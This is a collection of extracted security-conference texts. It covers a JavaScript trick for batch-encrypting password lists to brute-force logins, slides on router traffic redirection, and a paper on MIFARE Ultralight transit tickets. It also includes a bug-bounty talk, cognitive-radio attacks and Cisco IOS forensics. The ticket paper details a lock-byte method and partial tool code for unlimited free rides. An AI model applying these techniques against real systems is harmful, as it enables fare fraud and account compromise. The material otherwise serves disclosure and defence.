1 js加密爆破⼩技巧 js格式化,然后下断点 source⾥下断点,找到加密算法位置,通过console批量加密 2 弄这个加上明⽂,⽅便搜索。 sublime批量格式化密码 JavaScript 复制代码 let pwds = ["123456", "111111"]; for (let pwd of pwds) {  let encrypt = o.encrypt(i.MD5(pwd).toString());  console.log("pwd: %s;encrypt text: $$encrypt$$%s$$encrypt$$; ", pwd, encrypt); }; 1 2 3 4 5 6 3 JavaScript 复制代码 (.*) 替换 "\1", 1 2 3 4 全选复制,提取表达式 JavaScript 复制代码 # 提取第⼀次 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$ # 第⼆次去掉encrypt分隔符 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$ replace \1 1 2 3 4 5 6 7
pdf
MI-CASA SU-CASA Elliott Thompson Principle Consultant | OSCP | CTL | CCT-APP 192.168.1.1 192.168.1.1 ?? CACHE-CONTROL: MAX-AGE= 31536000 C KIES BROWSER Close the browser & all profiles Close the browser Close the browser Close the browser Close the tab Appears to ignore the flag Expires = “Session” JAVASCRIPT CACHE COOKIES JAVASCRIPT HTTPS://VK.COM:443 /BLOG?CATEGORY=1 KARMA DINO DAI ZOVI SHAUN MACAULAY DEAUTHENTICATION ? ? PREFERRED NETWORK LIST PROBE ? YEAH THAT’S ME! SWEET ? DISCONNECTED ? 192.1 <HTM ??.??.??.?? 10.0.0.0/8 172.16.0.0/12 172.16.0.0/12 192.168.0.0/16 192.168.1.1 192.168.0.1 192.168.1.254 10.0.0.138 192.168.2.1 192.168.254.254 10.0.1.1 192.168.3.1 10.10.1.1 10.0.0.1 10.0.0.2 10.1.1.1 192.168.11.1 192.168.0.30 192.168.0.50 192.168.0.10 192.168.0.101 192.168.15.1 10.90.90.90 192.168.8.1 192.168.86.1 192.168.1.200 192.168.100.1 192.168.123.254 192.168.1.10 192.168.1.210 192.168.1.99 192.168.16.1 192.168.10.1 192.168.20.1 192.168.30.1 192.168.62.1 192.168.102.1 192.168.0.227 192.168.10.50 10.1.10.1 192.168.0.3 192.168.168.168 192.168.50.1 192.168.55.1 192.168.251.1 192.168.0.254 192.168.0.100 192.168.1.100 192.168.10.10 192.168.10.100 192.168.223.100 200.200.200.5 192.168.1.20 192.168.4.1 192.168.100.100 192.168.2.254 192.168.1.220 192.168.178.1 192.168.1.1 192.168.0.1 192.168.1.254 10.0.0.138 192.168.2.1 192.168.254.254 10.0.1.1 192.168.3.1 10.10.1.1 10.0.0.1 10.0.0.2 10.1.1.1 192.168.11.1 192.168.0.30 192.168.0.50 192.168.0.10 192.168.0.101 192.168.15.1 10.90.90.90 192.168.8.1 192.168.86.1 192.168.1.200 192.168.100.1 192.168.123.254 192.168.1.10 192.168.1.210 192.168.1.99 192.168.16.1 192.168.10.1 192.168.20.1 192.168.30.1 192.168.62.1 192.168.102.1 192.168.0.227 192.168.10.50 10.1.10.1 192.168.0.3 192.168.168.168 192.168.50.1 192.168.55.1 192.168.251.1 192.168.0.254 192.168.0.100 192.168.1.100 192.168.10.10 192.168.10.100 192.168.223.100 200.200.200.5 192.168.1.20 192.168.4.1 192.168.100.100 192.168.2.254 192.168.1.220 192.168.178.1 TEW-432BRPV3 192.168.1.1 192.168.0.1 192.168.1.254 10.0.0.138 192.168.2.1 192.168.254.254 10.0.1.1 192.168.3.1 10.10.1.1 10.0.0.1 10.0.0.2 10.1.1.1 192.168.11.1 192.168.0.30 192.168.0.50 192.168.0.10 192.168.0.101 192.168.15.1 10.90.90.90 192.168.8.1 192.168.86.1 192.168.1.200 192.168.100.1 192.168.123.254 192.168.1.10 192.168.1.210 192.168.1.99 192.168.16.1 192.168.10.1 192.168.20.1 192.168.30.1 192.168.62.1 192.168.102.1 192.168.0.227 192.168.10.50 10.1.10.1 192.168.0.3 192.168.168.168 192.168.50.1 192.168.55.1 192.168.251.1 192.168.0.254 192.168.0.100 192.168.1.100 192.168.10.10 192.168.10.100 192.168.223.100 192.168.1.20 192.168.4.1 192.168.100.100 192.168.2.254 192.168.1.220 IPTABLES -t nat -A PREROUTING -i wlan0 -d 192.168.0.0/16,10.0.0.0/8 -j NETMAP --to 172.16.214.1/32 <HTML><B ? WADE ALCORN COPY OF COPY OF DEMO (12).MKV.EXE GITLAB.COM
 /SURECLOUD/SECURITY/MICASA DNS TLS ON IPs IPV6 FC00::/7 UNIQUE LOCAL UNICAST RFC4193 WPA3 MI-CASA SU-CASA ??
pdf
OTP circumventing in MIFARE ULTRALIGHT: Who says free rides? bughardy [email protected] Eagle1753 [email protected] Introduction RFID technologies are becoming more and more prevalent in our lives. This motivated us to study them, and in particular to study the MIFARE ULTRALIGHT chips, which are widely used in public/mass transport systems. We focused on multiple-ride tickets, and were surprised that MIFARE ULTRALIGHT chips do not seem to store any type of encrypted data. NFC chips should help transport company to prevent fraud and fake tickets but the scenario we are going to present shows a very different situation. In 2012 a security team from U.S.¹ found a bad implementation of transport ticket checking system. Each time a traveler made use of one of his ride, each ultralight card can store several rides, the system write the rides left on the DATA bytes of the ticket. It was enough to erase everything in data area to get a brand new ticket. After that several transport company started to use a security features of Mifare Ultralight ticket, OTP ( One-Time-Pad ) area. This area is composed o 32 bits. At the beginning each bit is set to zero, after each ride one bit is set to 1. In this area you can't turn bit back to zero. In this paper, and in the accompanying talk, we will discuss how bypass OTP features to gain again free rides using Mifare Ultralight transport tickets. And we will also show an easy script that displays ticket informations and help us to get free rides. ¹Corey Benninger and Max Sobell, security researchers at the Intrepidus Group MIFARE ULTRALIGHT Sectors Let's give a look to how a Mifare Ultralight chip is made. We have 5 sectors: Sector Memory UID – Ticket's serial number 9 bytes Internal byte, written by manufacturer 1 byte Lock bytes 2 bytes OTP bytes 4 bytes Data bytes 48 bytes In OTP sector all bits are set to 0 after production; if you want to write some bits in this area, they will be ORed with the existing, thus making impossible to turn a “1” bit into “0”. This security features is used to prevent abuse of NFC chips in transport systems, so that it would be useless to erase the data area in order to get a brand new ticket. How the system works As we have already seen, each ride implies that a bit is set to 1 in OTP sector. But there are also others relevant data written on the ticket. For example transport type ( metro, bus, etc ) or the time of last stamp. All this data are written on DATA sector. As soon as you your ticket, you have 90 minutes to use your ride. Then you have to stamp again. The ticket is valid in any transport system, such as subway, bus or whatever and it doesn't matter where you stamp it: you can do it on a bus and then take subway if you are within 90 minutes; however, you can't get subway more than once for each ride. This means that ticket must store also data to identify metro station. Vulnerabilities After much thinking we found two possible vulnerability. Decoding time data The first vulnerability we discover involve decoding the time written on the ticket. After acknowledging how it is encoded and written in data sector anyone can write it to the ticket avoiding to write OTP data, so you won't remove rides from your ticket but it looks like a validated one. Unfortunately we are still not able to decode data, we will provide some dumps for anyone who would like help us. There is also a second way to use this vulnerability: a MiTM attack. Using a NFC emulator, android phone or proxymark, an attacker could sniff the communication between the stamping machine and the chip and write only DATA bytes on the ticket. In that way you can validate the ticket for 90 minutes without knowing how time data is encoded. We didn't test it cause we don't have a proxymark. (ab)Using lock bytes The most interesting vulnerability requires another sector: lock bytes. This sector is made of two bytes, each bit is used to freeze status of others bytes: First byte bit 0 bit 1 bit 2 bit 3 bit 4 bit 5 bit 6 bit 7 Lock status of first 4 bytes in DATA sector Lock status of second 4 bytes in DATA sector … … Lock status of OTP sector Freeze status of lock bits for second half of data sector Freeze status of lock bits for first half of data sector Freeze status of lock bit for OTP sector Second byte locks only bytes in data sector, so at the moment is useless. Using bit 4 of first byte of lock sector we can lock status of the OTP sector, making impossible to machine turn it's bits to 1. This create an unlimited- rides ticket. Our test shows the following lock bytes structure for our ticket: HEX F2 03 BIN 11110010 00000011 Analyzing it we saw that there are several bytes in DATA sector which are locked and them can't be unlocked anymore due the bit 6 of first byte. So, by turning bit 4 of first byte to 1, we locked the OTP sector, getting our free ticket for life. HEX FA 03 BIN 11111010 00000011 This makes the ticket endless Tool We're developing a tool to check ticket status and make it endless. It is really at alpha stage and we wish to rewrite it in C/C++. It's written in python and requires nfc-tool installed in the computer. Its functions are: • Check dumps state • Edit rides left and endless functionality • Write dumps on HDD • Write dumps on ticket It is not really optimized but it works and it is okay as a first release. bughardy@cryptolab:~$ python nfc.py dump.mfd Looking for dump... Printing ticket infos... SERIAL NUMBER: 04d3e1be32782680ec INTERNAL BIT: 48 LOCK BYTES: fa03 FREE RIDES ENABLED! OTP BYTES: 3ffffffe RIDES LEFT: 1 DATA BYTES: 01040000020102be4011960000ae10a061040af32cbb244e43671f000 4f8000043671f00000d0004f8ae107a2f12e5f The main function is the dumpParser function which extracts infos from ticket dump: def dumpParser(content): SERIAL_NUMBER = content[0:18] INTERNAL_BIT = content[18:20] LOCK_BYTES = content[20:24] OTP_BYTES = content[24:32] DATA_BYTES = content[32:-1] INFOS_LIST = [SERIAL_NUMBER, INTERNAL_BIT, LOCK_BYTES, OTP_BYTES, DATA_BYTES] return INFOS_LIST The dumpEdit function is used to change number of rides left on the ticket: def dumpEdit(rides,path,content): otpData = content[24:32] ticketPayLoad1, ticketPayLoad2 = 0,0 rides = 5 - int(rides) while rides != 0: ticketPayLoad1 += 10**(2+rides) ticketPayLoad2 += 10**(1+rides) rides -= 1 In ticketPayLoad1 stores values of first 2 bytes of OTP data and ticketPayLoad2 the second half. The function of course can only decrease the rides number. As you can see code is very simple and we didn't set up everything yet. It is a sort of proof-of-concept. Fix Fix the OTP vulnerability should be quite easy; it would be enough to release a firmware update in order to check if lock sector is locking OTP area or not, and if so, refuse to validate the ticket. The MiTM attack and the decoding attack would be more difficult to be fixed, indeed, as regards our opinion, there is not fix to that. The problem could be fixed by using NFC chips with encrypted communication. But the encryption should change the time data for each ticket, for example using UID as IV, otherwise a man with one ticket could validate several other tickets just copying his time data to their. bughardy aka Matteo Beccaro Eagle1753 aka Matteo Collura
pdf
安全服务解读 by yuhao 安全服务从业⼈员占⽐在整个⾏业的占⽐越来越⼤,其中很多未来或许会成为甲⽅的安全信息化⼈员、 安全研究⼈员、红蓝对抗⼈员、代码审计的⼈员、CTF研究员。 本⽂解决的主要⽬的是:很多在步⼊⼯作的第⼀份work就是⼀名普通的安全服务⼈员如何了解⾏业,如 果成为已经是⼀名安全服务从业者,如何提⾼⾃我价值。所以有必要可以讲解⼀下什么是安全服务,不 要成为单⼀低廉的重复⼯作劳动⼒。 安全服务整体架构 安全服务在现在的⽹络环境下,所带来的价值和其⼯作前景如何,我将安全服务分为以下⼏种类型,然 后按照其中的⼯作内容,对其所必备技能和带来价值进⾏⼀定的解读 通过⼀个简单的分类,我们可以知道安全服务的⼤致⼯作,接下来我们可以⼀⼀分解其中的每⼀项和必 备技能,⽽不是值守单⼀的渗透测试,或者安全漏扫这些⽆有什么⻔槛的⼯作。 安全咨询 安全咨询诞⽣于互联⽹企业、传统医疗、交通、⾦融等⾏业步⼊了信息化的2.0时代,要拥抱信息化这个 过程中,其整体信息化架构的逐步完善过程。 例如⼤家都知道在互联⽹⼤⼚每年会招聘顶级的安全架构师、技术总监,这些leader从事的⼯作主要内 容就是整个企业的信息安全机构、信息科技化的进度、信息安全管理等 但是!但是!我们抛开这些字节、阿⾥这些企业,⼤量的国有企业、⺠营企业没有并不能招聘到这种顶 尖⼈才,故就需要安全⼄⽅公司,提供⼀下服务: ⼀般能从事这种服务的⼯程师,会成为顶尖的架构设计师,⽆论是⼄⽅还是甲⽅,都是安全专家的title 那么⼀个合格的安全咨询需要解决什么样的问题? 正如⼀个软件开发⼀样有⽣命周期,⼀个企业的安全建设依然有⽣命周期 那么其中⾯临的挑战就是 安全评估 除去其中最难的安全咨询以后,安全服务的第⼆个服务价值点就是安全评估,诸如银⾏、⾦融为什么安 全做的⽐⼤多数其他企业安全做的好呢,并不是因为他们技术顶尖,采⽤的web系统更新快,反⽽有些 应⽤系统数⼗年没有更新换代,主要原因就是监管的要求下,这类企业每年会花⼤量精⼒去做安全评估 安全评估我分为两类 传统安全评估、新安全评估 信息安全架构规划 信息科技服务能⼒优化及提升 信息科技⻛险管理体系建设 等级保护2.0建设咨询 信息安全管理体系建设 应⽤架构挑战 管理制度挑战 威胁、脆弱性变化的挑战 运营能⼒挑战 其中传统的安全评估可能就⽤到我们熟悉的⼀些⽅式了 渗透测试-Web应⽤评估 注⼊攻击 跨站脚本 权限问题 信息泄漏 框架漏洞 供应链攻击 代码审计 PHP JAVA 新的安全评估其内容如下 安全测试 安全测试就是安全服务中最常⻅⼀类服务,也是最容易接触的,⼀个红蓝对抗的研究者、代码审计的研 究者、普通渗透测试研究者,都可以轻易上⼿,对传统的Web应⽤系统进⾏⿊盒+⽩盒的渗透测试 这也就是安全测试需要⾼技能和⾼素质的安服⼈员的原因,需要想研究员的研究和学习能⼒看⻬。 配置检查 中间件基线 数据库基线 安全设备策略 ⽹络设备策略 抗反编译能⼒ 代码混淆防护 基础合规检查 物理环境检测 Web渗透测试 移动应⽤渗透测试 代码审计服务 安全公司安全服务采⽤代码审计的形式提供服务,需要代码审计能⼒强⼤的安全⼯程师,采⽤快速的⽅ 式,对代码进⾏审计 护⽹⾏动 随着国->省->地市的护⽹⾏动越来越频繁,规模越来越⼤,在安全测试当中的实战攻击,已经越来越趋 近于真实的攻击,所以在安全服务中,有很⼤⼀部分⼯程师是实际的安全攻防⼈员,他们也是以内⽹渗 透和漏洞追踪为主,积累响应的攻击⼿段和藏匿⼿段。 但是我们可以显⽽易⻅的,这种内卷⾏为导致红队⼈员的攻击越来越难,需要从更⾼维度的攻击⼿法才 能攻破⽬标,从17年⾄今,其攻击⼿段可以从下图⻅的: hvv的攻击催⽣了安全服务⼤量的红队测试、蓝队防御等项⽬,其在推动技术更新换代的上是功不可没 的。 安全运维 安全运维是安全服务中最“体⼒”的⼯作,也是⼤家最不参与的安全⼀环,那就是靠体⼒换取脑⼒,对⽹络 安全整体⼀个架构辅助设备的⻓期监视,其中的⼯作内容就有如下: 当然 安全运维的另⼀项必备技能就是应急响应的能⼒-对⽇志的分析 ⽹络的可靠性:⽹络设备和链路冗余、设备选型及可扩展性 ⽹络边界的安全:⽹络设备的ACL、防⽕墙、vlan、物理隔离等 ⽹络协议分析:路由、交换、组播、IGMP、ipv4、ipv6 ⽹络流量分析:带宽流量分析、异常流量分析、抗拒绝服务能⼒ ⽹络通信安全:通信监控、通信加密、vpn分析等 设备⾃身安全:snmp、⼝令、设备半杯、系统漏洞、端⼝ ⽹络安全管理:⽹管系统、登陆协议、⽇志审计、身份验证 ⽇志分析->判断事件类型->获取⽇志⽂件->⽇志分析->分析过程记录->输出报告 每年的hvv这个重⼤的活动中,顶尖蓝军的技能也会让红军⾮常的头疼,当然这就涉及到内卷这个完整过 程了。 安全运维这些基本技能掌握之后就有另⼀个除去⽇常运维以外的⼀个重⼤安全服务内容-那就是⼤型活动 的重要保障⼯作,⽐如奥运会、亚运会、中⾮会议这些。⼀个成果的会议的举⾏是离不开安全运维的同 志们的幸苦⼯作的,其中⼯作内容如下 安全运营 安全运营类的安全服务是基于智慧城市和云计算的⼤⼒发展⽽衍⽣出来的新型服务内容,现在私有云+公 有云+混合云的安全架构已经是⾮常普遍,那么就⼤⼤的增加了整体运营难度,所以需要安全服务的相关 ⼈员提供安全运营的服务 那么安全运营最终要达到什么⽬标呢? 那么要建设整体的安全运营能⼒就需要以下⼏个阶段 安全能⼒集约化 安全态势可视化 安全决策科学化 安全治理现代化 安全应急 安全应急能⼒考察了⼀个安全⼯程对安全⼀个敏感程度,从我的⻆度来说,越是擅⻓攻击的安全⼯程师 在应急响应中越能敏感的反应出攻击路径、攻击⽅式、攻击到来的结果,作为⼀个安全服务⼯程师的⼀ 个基本掌握的能⼒,我们可以从下⾯⼏个观点去学习 ⼀般在安全应急的这项服务是突发的 那么按照科学的分⻔别类,应急响应的整体过程可以分为以下⼏点 应急响应作为⼀个基本能⼒,重⼤安保和应对勒索病毒、挖矿病毒和hvv当中发挥了重要的⻆⾊。 安全培训 如果是⼀名年轻的安全⼯程师,在最近的这两年关于攻防演练、ctf⽐赛、应急溯源的相关培训中,或多 或少能参与,因为⼈才的稀缺,所以培训作为刚需需求,越来越⾛近⼤众化,可能以后⼤学的教授、培 训机构会⾬后春笋,包括知识星球其实也是⼀种去中⼼化的培训模式,⼤家互相分享学习内容,互相培 训。 诸如:i春秋、安恒的⽹络空间安全学院、⻓亭外包组、赛宁科技等等 其中培训等内容可以涵盖⼀下⼏个⽅⾯ 安全创新 众测 安全创新的技能可能是对相于传统模式的⼀种安全服务,⽐如现在补天、漏洞盒⼦、SRC平台、雷神众 测等。 通过社会上的⽩帽⼦的能⼒,增强安全服务中渗透测试、红队测试达不到的⼀个⾼度,可以通过⼈数优 势,快速悬赏⼤家对安全问题进⾏检测。 DevSecOps 容器的技术和云计算的发展和传统sdl的技术的融合,应运⽽⽣的安全创新就是devsecops 以下是⼀个基于Docker的开发环境、测试环境、⽣产环境的DevOps流程,掌握其中的相应能⼒,是⼀ 个当前的⼀个安全服务⼯程师需要去学习的 安全意识 -------------------- 普通⼤众或⾮安全从业⼈员 信息安全技术类 -------------------攻防⽐赛、ctf⽐赛、iot技能⼤赛等 安全运维类 --------------------- ⽹络、开发、运维⼈员 安全认证类 ------------------------- 证书培训 涉及到的安全态势、安全挑战是: 物联⽹-⻋联⽹的安全 随着物联⽹、⻋联⽹⾛进⽣活,⼈们越来越关注监控摄像头、⽆⼈驾驶汽⻋的安全问题,因为这带来便 捷的同时,更⼤规模的让⼈们的隐私被泄漏 所以安全服务的⼯程师需要具备更专业的安全能⼒,在物联⽹和⻋联⽹的⽅向。 我们以⻋联⽹举例,现在⾯临的挑战如下: 容器安全 镜像安全 编排安全 应⽤安全 内核安全 智能钥匙 控制器局域⽹ ⻋载诊断系统 ⻋载娱乐系统 远程信息处理器 空中下载技术 总结 安全服务不是⼀个卖产品打包送的服务,他也有其整套的架构体系,当然未来的趋势是 ⼀名合格的安全研究员是其在安全的成果远远⼤于安全服务⼯程师的,但是如果是⼀名即将⾛进安全服 务的岗位的同学,或者已经成为安全服务的⼯程师的朋友,可以从中去了解技能的发展趋势,更好的提 ⾼⾃⼰,将⾃⼰从繁琐的低价的⼯作中解脱出来。 全球定位系统 随⻋Wi-Fi 低功耗蓝⽛ ⻋载摄像头 ⼿机终端
pdf
Security is a Neverending Story CEO Luta Security Inc @lutasecurity @k8em0 Katie Moussouris We’re Going to Need More than Luck Who the FSCK Are You? What is it you do here? • Founder & CEO Luta Security • Former Microsoft Security Strategist • Former Hacker for Hire • ISO Standards Editor • New America Foundation Fellow • MIT Sloan Visiting Scholar • Harvard Belfer Affiliate • Cyber Arms Control Re- Negotiator Every Story Has A Beginning Hacker for Hire – Learning Empathy Don’t Let the Rain Get You Down HAS SECURITY BUGS ALL CODE This Guy is Onto Something Thanks https://twitter.com/virturity/status/799242892082429953 @k8em0 @lutasecurity I’m a Hacker and I’m Here to Help History of Vulnerability Disclosure and Bug Bounty Programs Vulnerability Disclosure vs. Bug Bounty Programs  Vulnerability Disclosure Ensures that organizations are ready to handle vulnerability reports. Follows the ISO standards for vulnerability disclosure (ISO 29147) and vulnerability handling processes (ISO 30111). 94% of the Forbes 2000 companies don’t have this in place  Bug Bounty Programs Some organizations and governments choose to offer cash rewards for bugs. Some do it alone (e.g. Microsoft), while the majority choose a bug bounty service provider to help. Bug Bounties can work in large and small organizations, with some prep & help Bug Bounty vs Penetration Testing And Bug Bounty Service Providers Thanks Jason! http://www.slideshare.net/bugcrowd/how-do-i-shot-web-jason-haddix-at-defcon-23 Bug Bounty Service Providers – At a glance BugCrowd HackerOne Synack The Easy Button for Triage Platform for Power Users Secret Squirrels Great if you need triage support, less so if you don’t want triage outside your company’s eyes only Great if you want automation for your own vulnerability handling, less so if you lack the internal talent to use it Great if you want a crowd-sourced penetration test under NDA, less so if you need a broader pool of eyes From Microsoft to the Pentagon AKA: From “No Way!” to “Ok, for Pay!” Microsoft’s Strategic Bounty Programs: $100,000 for new techniques $50,000 for new defenses $11,000 for IE11 beta bugs Marketplace Gap: When Defense is the only game in town Actual Results: 18 serious security holes 0 5 10 15 20 25 30 IE10 vs IE11 beta disclosure trends IE10 beta, no bounty IE11 beta, with bounty (PROJECTIONS ONLY) Bounty Market Timing Tricks Hack the Pentagon – Hack the Planet! Hack the Army – Hack the Planet! Coming in 2017: A Wave of Bug Bounties Avoid these pitfalls, in Planning Bounties & Marathons “Failing to plan is planning to fail.” “Don’t reinvent the wheel, just realign it.” Rushing into a bug bounty without preparation is like running a marathon immediately following a coma. You’re not a snowflake. Except that you are. Except that you’re not when it comes to vulnerability disclosure. With Great Regulation Comes Great Responsibility Swinging from the Cyberlier Policy: I Do Not Think It Means What You Think It Means • Not pronounced “police-y” • I’m not a lobbyist, not a lawyer, though the activities are related • I help advise lawmakers, regulators, governments * Photo credit Dave Aitel Wassenaar? Gesundheit! • 41 countries trying to control weapons proliferation • December 2013: Added “intrusion software” and “intrusion software technology” to the list of controlled weapons • May 2015: US proposed a draft implementation of the export control rule to comply with Wassenaar ALL HELL BREAKS LOOSE! INTENT vs RESULT: • Meant to regulate surveillance software, keeping it from being sold to repressive regimes who would use it to abuse human rights (Sudan, Syria, etc) • Ends up catching all kinds of software and technology that is useful for defense BREAKS THE ABILITY FOR THE INTERNET TO DEFEND ITSELF MITIGATION BYPASS BOUNTY: $100,000 for a Technique !!! !!! James and the Giant Check Finger on (or near) The Button Seems Easy, Right? Vulnerability Coordination Maturity Model Where to begin Where to go Vulnerability Coordination Maturity Model  Model guides how to organize and improve vulnerability disclosure processes  5 Capability Areas: Organizational, Engineering, Communications, Analytics and Incentives  3 Maturity Levels for each Capability: Basic, Advanced or Expert  Organizations can benchmark their capabilities Analytics Communications Engineering Incentives Organizational Organizational Organizational People, process, and resources to handle potential vulnerabilities Level --Capability Basic Executive support to respond to vulnerability reports and a commitment to security and quality as core organizational values. Advanced Policy and process for addressing vulnerabilities according to ISO 29147 and ISO 30111, or a comparable framework. Expert You have executive support, processes, budget and dedicated personnel for handling vulnerability reports. Engineering Engineering: Capabilities to evaluate and remediate security holes, and improve software development lifecycle Level -- Capability Basic Clear way to receive vulnerability reports, and an internal bug database to track them to resolution. See ISO 29147. Advanced Dedicated security bug tracking and documentation of security decisions, deferrals, and trade-offs. Expert Use vulnerability trends and root cause analysis to eliminate entire classes of vulnerabilities. See ISOs 29147, 30111, 27034. Communication Communications Ability to communicate to audiences internally and externally about vulnerabilities. Level - Capability Basic Ability to receive vulnerability reports and a verifiable channel to distribute advisories to affected parties. See ISO 29147. Advanced Tailored, repeatable communications for each audience, including security researchers, partners, customers, and media. Expert Structured information sharing programs with coordinated distribution of remediation. Analytics Analytics Data analysis of vulnerabilities to identify trends and improve processes. Level - Capability Basic Track the number and severity of vulnerabilities over time to measure improvements in code quality. Advanced Use root causes analysis to feed back into your software development lifecycle. See ISOs 29147, 30111, 27034. Expert Track real-time telemetry of active exploitation to drive dynamic pivots of remediation strategy. Incentives Incentives Ability to encourage security researchers to report vulnerabilities directly. Level - Capability Basic Show thanks or give swag. Clearly state that no legal action will be taken against researchers who report bugs. Advanced Give financial rewards or bug bounties to encourage reporting the most serious vulnerabilities. Expert Understand adversary behavior and vulnerability markets, and structure advanced incentives to disrupt them. Someone Will Disclose a Bug to You or breach you. Not if. When. Proactive Steps 1. Take the Vulnerability Coordination Maturity Model Assessment today to assess your capabilities 2. Ask for help from those who have come before to develop your strategic and tactical plan for the inevitable vulnerability report 3. Consider your goals if seeking a bug bounty or any other security service provider 4. Vulnerability Disclosure is among your first steps, master that, and practice the EMPATHY that security requires. 5. Build Security In whenever you can, but know that you will not be able to catch everything Bug Bounties don’t need to spill blood in the water. Bug Bounties won’t replace other security testing. Hackers can help you – if you let them! Change is the only constant EVOLVE Where Will Your Security Story Take You?
pdf
Security in Cognitive Radio Networks Hunter Scott Latest version of these slides: defcon21.hscott.net + v RF Engineering 101 TV Whitespace Let's break it. Change (or appear to change) the spectrum to force certain decisions Selfish Attack DOS Secondary User Emulation v Primary User Emulation v v Misbehave Attack v Asynchronous Sensing v v Network Endoparasite v Network Ectoparasite v Fabrication v On-Off v Countermeasures Authenticate devices on the network Cooperative Intrusion Detection v Device Reputation Device Location Primary User Emulation v v Why this matters Tools Introducing Level... 30 MHz to 4.4 GHZ 60 mW SimpliciTI Fits Arduino shields ~$100 in quantity Other tools: HackRF by Micheal Ossman MyriadRF What's next
pdf
Developments in Cisco IOS Forensics Felix ‘FX’ Lindner DEFCON Las Vegas, August 2008 Agenda IP Routing Infrastructure and Cisco IOS Cisco IOS Internals Debugging and Post Mortem Analysis Today A New Analysis Approach Proposal Features Challenges Public Offer Future Work IP Routing Infrastructure The Internet and corporate networks almost exclusively run on the Internet Protocol IP Version 4 is still prevalent protocol IP Version 6 coming up very slowly The design of IP requires intelligent nodes in the network to make routing decisions This is a design principle of the protocol and cannot be changed “Flat” networks have their own issues IP Infrastructure & Security All security protocols on top of IP share common design goals: Guarantee end-to-end integrity (some also confidentiality) of the traffic Detect modification, replay, injection and holding back of traffic Inform the upper protocol layers None of them can recover from attacks rooted in the routing infrastructure Security protocols cannot influence routing Infrastructure Monoculture Cisco Systems’ routing platforms form the single largest population of networking equipment today Equivalently distributed in the Internet core, government and corporate networks Many different hardware platforms with different CPUs Large investment sums bound to the equipment Hard to replace All run basically the same operating system Protecting this infrastructure is critical Therefore, in-depth analysis and diagnostics are of paramount importance Cisco IOS Cisco® Internetwork Operating System® Monolithic operating system Compile-time linked functionality – the 3 dimensional complexity of IOS Platform dependent code Feature-set dependent code Major, Minor and Release version dependent code Several tens of thousands different IOS images used in today’s networks Over 10.000 still officially supported Inside Cisco IOS One large ELF binary Essentially a large, statically linked UNIX program Loaded by ROMMON, a kind-of BIOS Runs directly on the router’s main CPU If the CPU provides virtual memory and privilege separation (for example Supervisor and User mode on MIPS), it will not be used Inside Cisco IOS Processes are rather like threads No virtual memory mapping per process Run-to-completion, cooperative multitasking Interrupt driven handling of critical events System-wide global data structures Common heap Very little abstraction around the data structures No way to force abstraction The IOS Code Security Issue 12.4(16a) with enterprise base feature set consists of 25.316.780 bytes binary code! This is a 2600 with PowerPC CPU Not including 505.900 bytes firmware for E1T1 and initialization All written in plain C Sharing the same address space Sharing the same heap Sharing the same data structures Sharing millions of pointers The IOS Code Security Issue A single mistake in the most unimportant piece of code can influence anything on the system, including kernel, security subsystems and cryptographic code. Therefore, everything on IOS is a good target for remote code execution exploits in kernel context. Isn’t Cisco aware of that? Cisco recently started the distribution of the next generation IOS-XR Commercial QNX microkernel Real processes (memory protection?) Concurrent scheduling Significantly higher hardware requirements (as in Cisco 12000 !) People never use the latest IOS Production corporate networks usually run on 12.1 or 12.2, which 12.5 is already available Not even Cisco’s own engineers would recommend the latest IOS release to a customer That only covers people actively maintaining their network, not everyone running one Just, how often are routers hacked? Keynote speaker Jerry Dixon at BlackHat Washington DC mentioned not updated routers as a cause for concern Do you know how expensive that is? Old vulnerabilities like the HTTP level 16 bug are still actively scanned for The router is used as a jump pad for further attacks TCL backdoors are commonly used Patched images are not rare IOS images cost money People will use images from anywhere Patching images is not hard Lawful Interception is its own can of worms The router’s operator is not supposed to know that LI is performed Who watches the watchers? And the future? Ever noticed attackers take on the target with the lowest efforts required and the highest return of invest? Windows became just a lot harder UNIXes are hardened, even OS X Infected PCs leave obvious traces The question is not: “Will routers become a target?” The question should be: “Do we want to know when they did?” Check the speaking schedule: 3 IOS talks here, 2 of them on attack methods Summary – Part I A significant share of the Internet, governmental and corporate networks runs on: one out of several tens of thousands of builds of more or less the same code base in a single process environment ... and we cannot bypass it, even if we could tell that it’s compromised Next question: How can we even tell? Error Handling and Recovery The software architecture of IOS dictates how exception handling has to be done Remember, IOS is like a large UNIX process What happens when a UNIX process segfaults? Upon an exception, IOS can only restart the entire system Even on-board, scheduled diagnostic processes can only forcefully crash the system Crash Cause Evidence Reboot is a clean recovery method Reboot destroys all volatile evidence of the crash cause Everything on the router is volatile! Exception: startup configuration and IOS image Later IOS releases write an information file called “crashinfo” Crashinfo contains very little information Contents depend on what IOS thought was the cause of the crash Runtime Evidence Crashinfo is only written upon device crashes Successful attacks don’t cause device crashes The available methods are: Show commands Debug commands SNMP monitoring Syslog monitoring Show Commands IOS offers a plethora of inspection commands known as the “show” commands Requires access to the command line interface Geared towards network engineers Thousands of different options and versions Almost no access to code 12.4 even limits memory show commands Debug Commands “debug” enables in-code debugging output Debug output has scheduler precedence Too much debug output halts the router Not an option in production environments Enabling the right debug output is an art Turn on the wrong ones and you see very little Turn on too many and the router stops working Commands depend on the IOS version For debug commands to be useful, you have to know what you are looking for before it happens Not very useful for security analysis SNMP and Syslog Monitoring Commonly accepted method for monitoring networking equipment SNMP depending on the implemented MIB Geared towards networking functionality Very little process related information Syslog is about as useful for security monitoring on IOS as it is on UNIX systems Both generate continuous network traffic Both consume system resources on the router Then again, someone has to read the logs. Summary – Part II Identifying compromised routers using today’s tools and methods is hard, if not impossible. There is not enough data to perform any post mortem analysis of router crashes, security related or not. We cannot distinguish between a functional problem, an attempted attack and a successful attack on infrastructure running IOS. A (not so) New Approach We need the maximum amount of evidence A full snapshot of the device is just enough We don’t need it continuously We need it on-demand We need it when the device crashes We need an independent and solid analysis framework to process the evidence We need to be able to extend and adjust it Getting the Evidence Cisco IOS can write complete core dumps Memory dump of the main memory Memory dump of the IO memory Memory dump of the PCI memory (if applicable) Core dumps are written in two cases The device crashes The user issues the “write core” command Core Dump Destinations IOS supports various destinations TFTP server (bug!) FTP server RCP server Flash file system (later IOS releases) Core dumps are enabled by configuration Configuration commands do not differ between IOS versions Configuration change has no effect on the router’s operation or performance Core Dump Enabled Infrastructure Configure all IOS devices to dump core onto one or more centrally located FTP servers Minimizes required monitoring of devices: A router crashed if you find a core dump on the FTP server Preserves evidence Allows crash correlation between different routers Why wasn’t it used before? Core dumps were useless, except for Cisco developers and exploit writers. 